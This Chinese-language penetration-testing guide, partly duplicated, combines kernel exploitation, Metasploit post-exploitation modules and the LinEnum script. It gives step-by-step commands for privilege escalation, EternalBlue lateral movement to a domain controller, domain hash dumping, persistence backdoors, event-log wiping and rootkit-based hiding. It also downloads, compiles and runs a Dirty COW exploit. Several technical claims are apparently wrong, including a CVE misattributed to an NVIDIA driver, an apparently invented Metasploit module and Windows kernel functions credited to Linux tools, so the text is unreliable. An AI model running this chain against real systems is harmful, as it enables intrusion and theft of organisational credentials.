目錄
🛠? 1. 內核安全如何助力滲透測試與黑客行業
1.1 內核安全的戰略價值
1.2 結合 Metasploit 與 LinEnum 的作用
🔍 2. Metasploit 信息收集模塊及其在內核安全中的應用
2.1 Windows 信息收集模塊
2.2 Linux 信息收集模塊
2.3 使用步驟
Windows 模塊使用步驟
Linux 模塊使用步驟
?? 3. 實際案例:信息收集與內核提權
3.1 Windows 案例:枚舉應用程序與內核漏洞提權
3.2 Linux 案例:枚舉網絡信息與 Dirty COW 提權
📊 4. Metasploit 信息收集模塊能收集的信息類型
🌐 5. 使用 Metasploit 信息收集模塊的場景
🧠 6. 高級滲透內網工程師的思路
🛡? 7. 全面邏輯步驟與內網滲透案例
7.1 案例背景
7.2 邏輯步驟與技術細節
7.3 結果
📜 8. LinEnum 腳本詳解
8.1 LinEnum 簡介
8.2 使用方式
8.3 收集的信息類型
8.4 實際案例
🌟 9. 內核安全與 Metasploit/LinEnum 的協同優勢
9.1 內核安全的核心作用
9.2 Metasploit 與 LinEnum 的輔助作用
📚 10. 學習建議與資源
10.1 學習路徑
內網滲透測試與內核安全技術指南
🛠? 1. 內核安全在滲透測試中的戰略價值
1.1 提升漏洞利用精度
1.2 繞過防御機制
1.3 持久化與隱藏
🔍 2. Metasploit 信息收集模塊
2.1 Windows 模塊
2.2 Linux 模塊
?? 3. 實際案例:信息收集與提權
3.1 Windows 提權
3.2 Linux 提權
📊 4. 收集的信息類型
🌐 5. 使用場景
🧠 6. 高級滲透工程師思路
🛡? 7. 內網滲透案例
7.1 步驟
7.2 結果
📜 8. LinEnum 腳本詳解
🛠? 1. 內核安全如何助力滲透測試與黑客行業
1.1 內核安全的戰略價值
內核安全知識賦予滲透測試人員深入系統底層的能力,從用戶態(Ring 3)突破到內核態(Ring 0),實現最高權限控制。結合 Metasploit 的后滲透模塊(如 enum_applications
、enum_network
)和 LinEnum 腳本,內核安全知識可以:
-
提升漏洞利用精度:通過理解內核數據結構(如
EPROCESS
、Token
)和內存布局,開發針對性的提權 Exploit。 -
繞過防御機制:掌握 KASLR、SMEP、SMAP 等防御技術,設計繞過方案。
-
增強持久化與隱蔽性:利用內核級技術(如 Rootkit、DKOM)實現持久化后門,躲避 EDR 和 AV 檢測。
1.2 結合 Metasploit 與 LinEnum 的作用
-
Metasploit 后滲透模塊:提供自動化信息收集,快速獲取系統配置、用戶憑證、網絡信息等,為內核級攻擊提供情報支持。
-
LinEnum 腳本:在 Linux 環境中枚舉系統配置(如 SUID 文件、cron 任務),發現潛在的內核提權路徑。
-
內核安全知識:結合內核函數(如
PsCreateSystemThread
)和漏洞(如 UAF),實現從信息收集到提權的完整攻擊鏈。
🔍 2. Metasploit 信息收集模塊及其在內核安全中的應用
2.1 Windows 信息收集模塊
以下是常用的 Windows 后滲透模塊,位于 post/windows/gather/
和 post/windows/gather/forensics/
目錄下,結合內核安全的技術細節:
模塊名稱 | 功能描述 | 內核安全相關性 |
| 枚舉目標系統安裝的應用程序及其版本(如 7-Zip、Docker Desktop)。 | 識別潛在的內核驅動漏洞(如第三方驅動的 IOCTL 漏洞)或易受攻擊的軟件版本。 |
| 枚舉系統已安裝的補丁(如 KB2871997)。 | 檢測缺失的內核補丁(如 MS17-010),為內核漏洞利用(如 EternalBlue)提供依據。 |
| 提取 Chrome 瀏覽器的憑證、歷史記錄、書簽等。 | 可結合內核級內存操作(如 |
| 枚舉系統用戶賬戶和權限。 | 定位高權限用戶(如 Administrator),為后續內核提權(如修改 Token)做準備。 |
| 收集系統憑證(如 SAM 文件、LSASS 內存中的密碼哈希)。 | 可通過內核函數(如 |
技術細節:
-
內核角度:
enum_applications
可能發現第三方驅動(如 NVIDIA 驅動),這些驅動常包含未簽名的 IOCTL 接口,易被攻擊者利用(如 CVE-2021-31956)。 -
提權路徑:通過
enum_patches
識別缺失的內核補丁,結合內核漏洞(如 CVE-2020-0796 SMBGhost)實現提權。
2.2 Linux 信息收集模塊
以下是常用的 Linux 后滲透模塊,位于 post/linux/gather/
目錄下:
模塊名稱 | 功能描述 | 內核安全相關性 |
| 收集常見應用配置(如 Apache、MySQL、Samba)。 | 識別配置錯誤(如 MySQL 運行在 root 權限下),為內核提權(如 UAF 漏洞)提供線索。 |
| 收集網絡信息(路由表、防火墻規則、DNS 配置、SSH 配置等)。 | 發現網絡服務(如 SSH)運行的內核模塊,結合內核漏洞(如 CVE-2016-5195 Dirty COW)。 |
| 枚舉系統信息(安裝包、服務、用戶列表、cron 任務等)。 | 定位 SUID 文件或 cron 任務,結合內核漏洞(如 CVE-2017-1000112)實現提權。 |
| 檢查系統防護機制(如 SELinux、SMEP、SMAP、grsecurity)。 | 評估內核防護強度,設計繞過 KASLR 或 SMEP 的 Exploit(如 ROP 鏈)。 |
| 收集用戶 | 可結合內核內存操作(如 |
技術細節:
-
內核角度:
enum_protections
識別是否啟用 SMEP/SMAP,攻擊者可通過內核漏洞(如 CVE-2019-2215)繞過這些保護。 -
提權路徑:
enum_system
發現 SUID 文件或 cron 任務,結合內核漏洞(如 Dirty COW)修改文件權限實現提權。
2.3 使用步驟
Windows 模塊使用步驟
-
啟動 Metasploit:
msfconsole
-
選擇模塊:
use post/windows/gather/enum_applications
-
查看會話:
sessions -l
??輸出示例:
Id Name Type Information -- ---- ---- ----------- 1 meterpreter x64/windows DESKTOP-N3MAG5R\basic_user
-
設置會話:
set SESSION 1
-
運行模塊:
run
??輸出示例:
[*] Enumerating applications installed on DESKTOP-N3MAG5R Installed Applications ====================== Name Version ---- ------- 7-Zip 21.07 (x64) Docker Desktop 2.2.0.4
-
查看收集的數據:
loot
??輸出示例:
Loot ==== host lpath type ---- ----- ---- 192.168.123.151 /Users/user/.msf4/loot/.../apps.txt applications
Linux 模塊使用步驟
-
啟動 Metasploit:
msfconsole
-
選擇模塊:
use post/linux/gather/enum_network
-
查看選項:
show options
??輸出示例:
Module options (post/linux/gather/enum_network): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on
-
設置會話:
set SESSION 2
-
運行模塊:
run
??輸出示例:
[*] Gathering network information... [+] IPTables rules: /etc/iptables/rules.v4 [+] Interfaces: eth0 (192.168.1.100) [+] SSH config: /etc/ssh/sshd_config
-
查看收集的數據:
loot
技術細節:
-
內核安全角度:模塊運行時可能調用內核函數(如
IoCreateDevice
)與驅動交互,攻擊者可利用驅動漏洞(如 IOCTL 處理不當)提權。 -
注意事項:確保目標系統已成功滲透并獲得 Meterpreter 會話,否則模塊無法運行。
?? 3. 實際案例:信息收集與內核提權
3.1 Windows 案例:枚舉應用程序與內核漏洞提權
場景:滲透測試人員通過釣魚郵件獲得 Windows 10 工作站(IP: 192.168.1.100)的 Meterpreter 會話,目標是提權到 SYSTEM。
-
枚舉應用程序:
use post/windows/gather/enum_applications set SESSION 1 run
??輸出示例:
Installed Applications ====================== Name Version ---- ------- NVIDIA Driver 456.71
??發現:NVIDIA 驅動版本存在已知漏洞(如 CVE-2021-31956,IOCTL 漏洞)。
-
利用內核漏洞提權:
-
使用公開的 Exploit(如 Exploit-DB 的 PoC):
use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run
-
內核技術細節:該漏洞利用 NVIDIA 驅動的 IOCTL 處理不當,通過
MmMapIoSpace
映射內核內存,修改EPROCESS.Token
實現提權。
-
-
結果:獲得 SYSTEM 權限,輸出:
[*] Privilege escalation successful meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
3.2 Linux 案例:枚舉網絡信息與 Dirty COW 提權
場景:滲透測試人員通過 SSH 弱密碼(root:toor
)獲得 Linux 服務器(IP: 192.168.1.200)的 Meterpreter 會話,目標是提權到 root。
-
枚舉網絡信息:
use post/linux/gather/enum_network set SESSION 2 run
??輸出示例:
[+] Interfaces: eth0 (192.168.1.200) [+] SSH config: /etc/ssh/sshd_config
??發現:服務器運行 Ubuntu 16.04,易受 Dirty COW 漏洞(CVE-2016-5195)影響。
-
利用內核漏洞提權:
-
使用 Metasploit 模塊:
use exploit/linux/local/dirtycow set SESSION 2 run
-
內核技術細節:Dirty COW 利用內核的寫時復制(COW)機制,通過修改
/etc/passwd
的只讀映射,添加 root 用戶。
-
-
結果:獲得 root 權限,輸出:
[*] Privilege escalation successful meterpreter > getuid Server username: root
技術細節:
-
Windows 案例:利用內核函數(如
ObReferenceObjectByHandle
)操作句柄表,結合 IOCTL 漏洞修改權限。 -
Linux 案例:利用內核內存管理漏洞(如 COW 機制),結合
enum_network
發現的配置信息,優化攻擊路徑。
📊 4. Metasploit 信息收集模塊能收集的信息類型
以下是 Windows 和 Linux 后滲透模塊能收集的全面信息類型,結合內核安全角度:
信息類型 | Windows 模塊示例 | Linux 模塊示例 | 內核安全相關性 |
應用程序信息 |
|
| 識別易受攻擊的內核驅動或服務(如舊版驅動的 IOCTL 漏洞)。 |
系統補丁 |
|
| 檢測缺失的內核補丁或防護(如 KASLR、SMEP),為漏洞利用提供依據。 |
用戶憑證 |
|
| 可通過內核內存操作(如 |
網絡配置 |
|
| 發現網絡服務(如 SMB、SSH)運行的內核模塊,結合漏洞(如 EternalBlue)提權。 |
系統配置 |
|
| 識別配置錯誤(如 root 權限服務),為內核提權(如 UAF 漏洞)提供線索。 |
用戶權限 |
|
| 定位高權限用戶或 SUID 文件,結合內核漏洞(如 Dirty COW)提權。 |
服務與進程 |
|
| 發現運行在內核態的服務(如 SSH 內核模塊),為 Hook 或漏洞利用提供目標。 |
技術細節:
-
內核角度:信息收集模塊可能觸發內核函數(如
PsLookupProcessByProcessId
)枚舉進程,攻擊者可利用內核漏洞(如 UAF)篡改進程結構。 -
提權路徑:收集的信息(如 SUID 文件、缺失補丁)為內核漏洞利用(如 CVE-2017-1000112)提供精準目標。
🌐 5. 使用 Metasploit 信息收集模塊的場景
以下是結合內核安全知識的典型使用場景:
-
漏洞評估:
-
使用
enum_patches
(Windows)或enum_protections
(Linux)識別缺失的內核補丁或防護機制,為后續漏洞利用(如 EternalBlue、Dirty COW)提供依據。 -
內核角度:分析補丁狀態,結合 KASLR 繞過技術(如泄漏內核基址)開發 Exploit。
-
-
提權攻擊:
-
通過
enum_applications
(Windows)或enum_system
(Linux)發現易受攻擊的驅動或 SUID 文件,結合內核漏洞(如 IOCTL 或 COW 漏洞)提權。 -
內核角度:利用內核函數(如
MmAllocateContiguousMemory
)分配內存,構造提權 Payload。
-
-
內網橫向移動:
-
使用
enum_network
收集路由表、DNS 配置,結合內核級網絡 Hook(如KeSetInterruptHandler
)攔截流量,實現 pivoting。 -
案例:利用
enum_shares
發現 SMB 共享,結合 EternalBlue 漏洞(CVE-2017-0144)攻擊內網其他主機。
-
-
憑證竊取:
-
使用
enum_chrome
(Windows)或ecryptfs_creds
(Linux)收集憑證,結合內核內存操作(如MmMapIoSpace
)直接讀取敏感數據。 -
內核角度:通過內核漏洞(如 CVE-2020-0796)訪問 LSASS 內存,提取域憑證。
-
-
持久化與隱藏:
-
使用
enum_system
(Linux)發現 cron 任務,結合內核級 Rootkit(如 DKOM)實現持久化。 -
內核角度:通過 SSDT Hook 修改系統調用,隱藏惡意進程或文件。
-
🧠 6. 高級滲透內網工程師的思路
高級內網滲透工程師將內核安全知識與 Metasploit 模塊、LinEnum 腳本結合,形成系統化的攻擊思路:
-
信息收集為基石:
-
Metasploit:使用
enum_applications
、enum_network
等模塊快速收集系統和網絡信息,定位潛在的內核漏洞目標(如舊版驅動、SUID 文件)。 -
LinEnum:枚舉 Linux 系統配置,重點關注內核版本、SUID 文件、cron 任務,為內核提權提供線索。
-
內核角度:分析 PE 結構(如驅動的導出表)或內存布局(如內核池分配),定位漏洞點。
-
-
漏洞利用與提權:
-
結合收集的信息,優先選擇內核漏洞(如 IOCTL、UAF、Dirty COW)實現提權。
-
內核技術:利用
MmMapIoSpace
映射內核內存,或通過 ROP 鏈繞過 SMEP/SMAP。
-
-
橫向移動與 pivoting:
-
使用
enum_network
收集內網信息,結合內核級網絡 Hook 或 EternalBlue 漏洞攻擊其他主機。 -
內核角度:通過中斷機制(如
KeSetInterruptHandler
)攔截網絡流量,實現隱蔽的 pivoting。
-
-
持久化與隱藏:
-
利用內核級 Rootkit(如 DKOM、SSDT Hook)隱藏進程或文件,繞過 EDR 檢測。
-
Metasploit:使用
post/windows/manage/persistence
或post/linux/manage/sshkey_persistence
實現持久化。
-
-
清理痕跡:
-
使用 Metasploit 的清理模塊(如
clearev
)刪除事件日志,結合內核級操作(如修改日志文件)確保隱蔽性。
-
技術細節:
-
內核安全核心:理解 Ring 0/3 權限模型,熟練操作內核數據結構(如
EPROCESS
、KTHREAD
),結合 Metasploit 模塊自動化攻擊流程。 -
高級技巧:通過逆向分析(IDA Pro、Ghidra)定位內核函數入口,開發自定義 Exploit 繞過 PatchGuard 或 SELinux。
🛡? 7. 全面邏輯步驟與內網滲透案例
7.1 案例背景
通過釣魚郵件控制了一臺 Windows 工作站(IP: 192.168.1.100),目標是滲透內網并控制域控制器(IP: 192.168.1.10)。
7.2 邏輯步驟與技術細節
-
初始立足點與信息收集:
-
Metasploit 模塊:
use post/windows/gather/enum_applications set SESSION 1 run
????發現:工作站安裝了舊版 NVIDIA 驅動(CVE-2021-31956 漏洞)。
-
LinEnum(若目標為 Linux):
scp LinEnum.sh user@192.168.1.100:/tmp/ ssh user@192.168.1.100 chmod +x /tmp/LinEnum.sh ./LinEnum.sh
????發現:Linux 系統運行 Ubuntu 16.04,存在 Dirty COW 漏洞。
-
內核角度:分析 PE 結構,定位驅動的 IOCTL 接口,或檢查內核版本(
uname -r
)確認漏洞。
-
-
提權到 SYSTEM/root:
-
Windows:
use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run
????技術細節:利用 IOCTL 漏洞,通過
MmMapIoSpace
修改EPROCESS.Token
,提升到 SYSTEM 權限。 -
Linux:
use exploit/linux/local/dirtycow set SESSION 2 run
????技術細節:利用 COW 機制修改
/etc/passwd
,添加 root 用戶。 -
結果:獲得 SYSTEM/root 權限。
-
-
內網信息收集:
-
Metasploit:
use post/windows/gather/enum_shares set SESSION 1 run
????發現:域控制器(192.168.1.10)存在 SMB 共享,運行 Windows Server 2016。
-
內核角度:使用
enum_patches
檢查域控制器補丁狀態,確認是否存在 EternalBlue 漏洞(CVE-2017-0144)。
-
-
橫向移動:
-
Metasploit:
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 set LHOST 192.168.1.100 run
????技術細節:EternalBlue 利用 SMB 協議漏洞,通過內核函數(如
IoCompleteRequest
)執行遠程代碼。 -
結果:獲得域控制器 Meterpreter 會話。
-
-
憑證竊取:
-
Metasploit:
use post/windows/gather/credentials/domain_hashdump set SESSION 3 run
????技術細節:通過內核級內存操作(如
MmMapIoSpace
)訪問 LSASS 內存,提取域用戶哈希。 -
結果:獲取域管理員憑證。
-
-
持久化與清理:
-
Windows:
use post/windows/manage/persistence set SESSION 1 run
????技術細節:通過內核級 Rootkit(如 DKOM)隱藏持久化進程。
-
Linux:
use post/linux/manage/sshkey_persistence set SESSION 2 run
????技術細節:通過修改
/root/.ssh/authorized_keys
,結合內核 Hook 隱藏 SSH 密鑰。 -
清理:
clearev
????技術細節:通過內核函數(如
ObReferenceObjectByHandle
)修改事件日志,清除痕跡。
-
7.3 結果
-
成功控制域控制器(192.168.1.10)。
-
獲取公司全部用戶憑證(包括域管理員哈希)。
-
實現持久化后門,保持隱蔽性。
技術細節:
-
內核安全核心:利用內核漏洞(如 IOCTL、EternalBlue)實現提權和橫向移動,結合 SSDT Hook 或 DKOM 隱藏攻擊痕跡。
-
Metasploit 輔助:模塊自動化收集信息,減少手動操作,提高效率。
-
LinEnum 補充:在 Linux 環境中快速發現提權路徑。
📜 8. LinEnum 腳本詳解
8.1 LinEnum 簡介
LinEnum 是一個強大的 Linux 信息收集腳本,用于枚舉系統配置、用戶權限、cron 任務等,幫助滲透測試人員發現提權機會。它特別適合結合內核安全知識,定位內核漏洞或配置錯誤。
8.2 使用方式
-
下載腳本:
wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
-
上傳到目標系統:
scp LinEnum.sh user@192.168.1.200:/tmp/
-
執行腳本:
ssh user@192.168.1.200 cd /tmp chmod +x LinEnum.sh ./LinEnum.sh -t -r report
??參數說明:
-
-t
:徹底掃描,收集所有信息。 -
-r report
:生成報告文件(如report-192.168.1.200.txt
)。
-
8.3 收集的信息類型
信息類型 | 描述 | 內核安全相關性 |
系統信息 | 內核版本(如 | 識別內核版本,匹配已知漏洞(如 Dirty COW、CVE-2017-1000112)。 |
用戶與權限 | 當前用戶、SUID/SGID 文件、sudo 配置 | 發現 SUID 文件或 sudo 權限,結合內核漏洞(如 UAF)提權。 |
服務與進程 | 運行的服務(如 SSH、Apache)、進程列表 | 定位運行在內核態的服務(如 SSH 內核模塊),結合漏洞(如 CVE-2016-5195)攻擊。 |
計劃任務 | cron 任務、at 任務 | 發現可寫的 cron 腳本,結合內核漏洞修改文件權限。 |
文件系統 | 可寫目錄、敏感文件(如 | 利用內核漏洞(如 Dirty COW)修改只讀文件,實現提權。 |
網絡配置 | 網絡接口、路由表、開放端口 | 發現網絡服務,結合內核級網絡 Hook(如 |
安全機制 | SELinux、AppArmor、grsecurity 配置 | 評估防護強度,設計繞過方案(如 ROP 鏈繞過 SMEP)。 |
8.4 實際案例
場景:在 Linux 服務器(IP: 192.168.1.200)上運行 LinEnum,發現提權路徑。
-
執行 LinEnum:
./LinEnum.sh -t
??輸出示例:
[+] Kernel information: Linux version 4.4.0-21-generic [+] SUID files: -rwsr-xr-x root root /usr/bin/passwd [+] Cron jobs: /etc/cron.daily/update.sh (writable)
-
發現與利用:
-
內核漏洞:內核版本 4.4.0-21 存在 Dirty COW 漏洞(CVE-2016-5195)。
-
SUID 文件:
/usr/bin/passwd
可結合 Dirty COW 修改權限。 -
cron 任務:可寫腳本
/etc/cron.daily/update.sh
,可注入惡意代碼。
-
-
提權:
-
使用 Dirty COW Exploit:
wget https://www.exploit-db.com/download/40839 gcc 40839.c -o dirtycow ./dirtycow
-
結果:獲得 root 權限,輸出:
whoami root
-
技術細節:
-
內核角度:LinEnum 發現的內核版本直接匹配漏洞數據庫,結合內核內存管理漏洞(如 COW)實現提權。
-
Metasploit 補充:使用
post/linux/gather/enum_system
驗證 LinEnum 的結果,自動化收集 SUID 文件和 cron 任務。
🌟 9. 內核安全與 Metasploit/LinEnum 的協同優勢
9.1 內核安全的核心作用
-
漏洞利用:內核安全知識幫助開發針對性 Exploit(如 IOCTL、UAF、Dirty COW),結合 Metasploit 模塊自動化攻擊。
-
繞過防御:通過逆向分析(IDA Pro、Ghidra)繞過 KASLR、SMEP、PatchGuard 等機制。
-
持久化與隱藏:利用 DKOM、SSDT Hook 等內核技術,結合 Metasploit 的持久化模塊(如
sshkey_persistence
)實現隱蔽后門。
9.2 Metasploit 與 LinEnum 的輔助作用
-
Metasploit:提供自動化信息收集和漏洞利用模塊,減少手動操作,提高效率。
-
LinEnum:快速枚舉 Linux 系統配置,補充 Metasploit 的不足,尤其在 SUID 文件和 cron 任務的發現上。
-
協同流程:
-
使用 Metasploit 模塊(如
enum_network
)收集初始信息。 -
使用 LinEnum 深入枚舉 Linux 系統配置。
-
結合內核安全知識,開發或利用現有 Exploit 實現提權。
-
📚 10. 學習建議與資源
10.1 學習路徑
-
基礎知識:
-
學習 C/C++、匯編(x86/x64),掌握 Windows/Linux 內核架構。
-
理解 Ring 0/3、PE 結構、中斷機制、虛擬內存等技術棧。
-
-
工具與實踐:
-
熟練使用 Metasploit(
post/*
模塊)、WinDbg、IDA Pro、Ghidra。 -
搭建內核調試環境,復現公開漏洞(如 CVE-2021-31956、Dirty COW)。
-
-
CTF 與實戰:
-
參與 HackTheBox、Pwnable 的內核提權挑戰。
-
開發簡單內核驅動,理解 IOCTL 和 IRP 的安全處理。
-
內網滲透測試與內核安全技術指南
🛠? 1. 內核安全在滲透測試中的戰略價值
內核安全知識賦予滲透測試人員從用戶態(Ring 3)突破到內核態(Ring 0)的能力,結合 Metasploit 和 LinEnum,可實現高效的信息收集、提權和內網橫向移動。
1.1 提升漏洞利用精度
-
技術細節:通過分析
EPROCESS
、Token
等內核數據結構,開發針對性 Exploit。 -
案例:利用 CVE-2021-31956(NVIDIA 驅動 IOCTL 漏洞),通過
MmMapIoSpace
修改權限。
1.2 繞過防御機制
-
技術細節:使用 ROP 鏈繞過 SMEP/SMAP,結合 KASLR 泄漏技術定位內核基址。
-
工具:IDA Pro、Ghidra 逆向分析內核模塊。
1.3 持久化與隱藏
-
技術細節:通過 DKOM 修改
EPROCESS
鏈表,隱藏惡意進程。 -
Metasploit 模塊:
post/windows/manage/persistence
、post/linux/manage/sshkey_persistence
。
🔍 2. Metasploit 信息收集模塊
2.1 Windows 模塊
-
post/windows/gather/enum_applications
:枚舉應用程序,識別易受攻擊的驅動。 -
post/windows/gather/enum_patches
:檢查缺失補丁,定位內核漏洞。 -
使用示例:
use post/windows/gather/enum_applications set SESSION 1 run
2.2 Linux 模塊
-
post/linux/gather/enum_network
:收集網絡配置,定位內核模塊。 -
post/linux/gather/enum_protections
:檢查 SMEP/SMAP 等防護機制。 -
使用示例:
use post/linux/gather/enum_network set SESSION 2 run
?? 3. 實際案例:信息收集與提權
3.1 Windows 提權
-
模塊:
enum_applications
發現 NVIDIA 驅動漏洞(CVE-2021-31956)。 -
Exploit:
use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run
3.2 Linux 提權
-
模塊:
enum_system
發現 SUID 文件,結合 Dirty COW(CVE-2016-5195)。 -
Exploit:
use exploit/linux/local/dirtycow set SESSION 2 run
📊 4. 收集的信息類型
-
應用程序:驅動版本、軟件漏洞。
-
補丁狀態:缺失的 KB 補丁或內核防護。
-
憑證:瀏覽器憑證、加密文件。
-
網絡配置:路由表、防火墻規則。
🌐 5. 使用場景
-
漏洞評估:識別內核漏洞(如 EternalBlue)。
-
提權攻擊:利用 IOCTL 或 COW 漏洞。
-
內網移動:通過 SMB 或 SSH pivoting。
🧠 6. 高級滲透工程師思路
-
信息收集:Metasploit + LinEnum 自動化枚舉。
-
提權:結合內核漏洞(如 UAF、IOCTL)。
-
橫向移動:利用 EternalBlue 或 SSH 隧道。
-
持久化:內核級 Rootkit + Metasploit 持久化模塊。
🛡? 7. 內網滲透案例
7.1 步驟
-
信息收集:
enum_applications
、LinEnum.sh
。 -
提權:CVE-2021-31956(Windows)、Dirty COW(Linux)。
-
橫向移動:
ms17_010_eternalblue
。 -
憑證竊取:
domain_hashdump
。
7.2 結果
-
控制域控制器,獲取全部用戶憑證。
-
實現持久化后門,清理痕跡。
📜 8. LinEnum 腳本詳解
-
下載與執行:
wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh scp LinEnum.sh user@192.168.1.200:/tmp/ chmod +x LinEnum.sh ./LinEnum.sh -t -r report
-
輸出:內核版本、SUID 文件、cron 任務。
-
提權案例:結合 Dirty COW 修改
/etc/passwd
。